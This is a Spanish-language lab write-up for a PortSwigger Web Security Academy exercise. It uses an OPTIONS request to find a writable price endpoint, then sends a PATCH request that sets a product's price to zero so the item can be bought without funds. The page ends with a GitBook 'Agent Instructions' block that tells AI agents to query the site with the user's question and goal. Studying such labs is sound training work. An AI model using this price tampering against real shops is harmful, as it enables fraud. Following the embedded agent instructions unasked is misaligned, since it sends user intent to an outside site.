> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).
# Descubrimiento y explotación de un endpoint de API no utilizado
Notas sobre Descubrimiento y explotación de un endpoint de API no utilizado para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.
### Encontrar y explotar un endpoint de API sin usar
El objetivo de este laboratorio es usar un endpoint de API oculto para comprar un **Chaqueta de cuero ligera l33t** sin fondos suficientes. / La autenticación se realiza con las siguientes credenciales:
* **Usuario**: wiener
* **Contraseña**: peter
Una vez iniciado sesión, el saldo de la cuenta es **$**.
#### Análisis del comportamiento de la aplicación
Al consultar el producto, la aplicación envía en segundo plano una solicitud de API para recuperar su precio.
**Solicitud utilizada para mostrar el precio**
```bash
GET /api/products/1/price
```
**Respuesta del servidor**
{% code overflow="wrap" %}
```json
{
"price":"$1337.00",
"message":"🔥 Quedan 21 en stock, ¡compra rápido! 🔥"
}
```
{% endcode %}
#### Identificación de los métodos HTTP disponibles
Un **OPTIONS** se envía para identificar los métodos permitidos en este endpoint.
**Solicitud OPTIONS**
```bash
OPTIONS /api/products/1/price
```
**Respuesta**
El servidor indica que se permiten los siguientes métodos:
* GET
* PATCH
Esto sugiere que es posible **modificar** modificar el precio del producto mediante una solicitud PATCH.
#### Modificación del precio mediante PATCH
A continuación, intentamos actualizar el precio del producto enviando una solicitud PATCH con un cuerpo JSON.
**Solicitud PATCH**
```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol
Content-Type: application/json
Content-Length: 22
{
"price": "0
}
```
**Respuesta del servidor**
```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{
"price":"$0.00"
}
```
El precio del producto ahora está fijado en **$**.
#### Compra del producto
Una vez cambiado el precio, es posible comprar el **Chaqueta de cuero ligera l33t** a pesar de la falta de saldo en la cuenta, lo que permite validar el laboratorio.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
